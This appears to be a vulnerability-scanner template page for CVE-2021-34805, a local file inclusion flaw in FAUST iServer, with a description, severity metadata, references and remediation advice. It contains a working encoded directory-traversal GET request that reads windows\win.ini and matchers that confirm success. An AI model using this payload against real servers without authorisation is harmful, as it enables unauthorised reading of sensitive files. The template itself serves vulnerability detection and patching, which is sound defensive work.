CVE-2021-34805: FAUST iServer 9.0.018.018.4 - Local File Inclusion

2025-08-01 FAUST iServer 9.0.018.018.4 PoC Public

Description

FAUST iServer before 9.0.019.019.7 is susceptible to local file inclusion because for each URL request it accesses the corresponding .fau file on the operating system without preventing %2e%2e%5c directory traversal.

PoC

id: CVE-2021-34805

info:
  name: FAUST iServer 9.0.018.018.4 - Local File Inclusion
  author: 0x_Akoko
  severity: high
  description: FAUST iServer before 9.0.019.019.7 is susceptible to local file inclusion because for each URL request it accesses the corresponding .fau file on the operating system without preventing %2e%2e%5c directory traversal.
  impact: |
    Successful exploitation of this vulnerability could allow an attacker to read sensitive files on the server.
  remediation: |
    Apply the latest security patch or update to a non-vulnerable version of FAUST iServer.
  reference:
    - https://cxsecurity.com/issue/WLB-2022010120
    - http://packetstormsecurity.com/files/165701/FAUST-iServer-9.0.018.018.4-Local-File-Inclusion.html
    - http://www.land-software.de/lfs.fau?prj=iweb&dn=faust+iserver
    - https://nvd.nist.gov/vuln/detail/CVE-2021-34805
    - https://github.com/20142995/Goby
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N
    cvss-score: 7.5
    cve-id: CVE-2021-34805
    cwe-id: CWE-22
    epss-score: 0.26823
    epss-percentile: 0.97926
    cpe: cpe:2.3:a:land-software:faust_iserver:*:*:*:*:*:*:*:*
  metadata:
    max-request: 1
    vendor: land-software
    product: faust_iserver
  tags: cve2021,cve,lfi,packetstorm,faust,iserver,land-software,vuln

http:
  - method: GET
    path:
      - "{{BaseURL}}/%5c%2e%2e%5c%2e%2e%5c%2e%2e%5c%2e%2e%5c%2e%2e%5c%2e%2e%5c%2e%2e%5c%2e%2e%5c%2e%2e%5c%2e%2e%5c%2e%2e%5c%2e%2e%5cwindows%5cwin.ini"

    matchers-condition: and
    matchers:
      - type: word
        part: body
        words:
          - "bit app support"
          - "fonts"
          - "extensions"
        condition: and

      - type: status
        status:
          - 200
# digest: 4a0a0047304502202550b948b99620ad2c3f9c7825d657b34eee9a42963c9bd67bfddf4aba2337a7022100a03aeaa302d6b854a8f5341b2d76094bcc86c00d4680d214d48d9f4218854aef:922c64590222798bb761d5b6d8e72950

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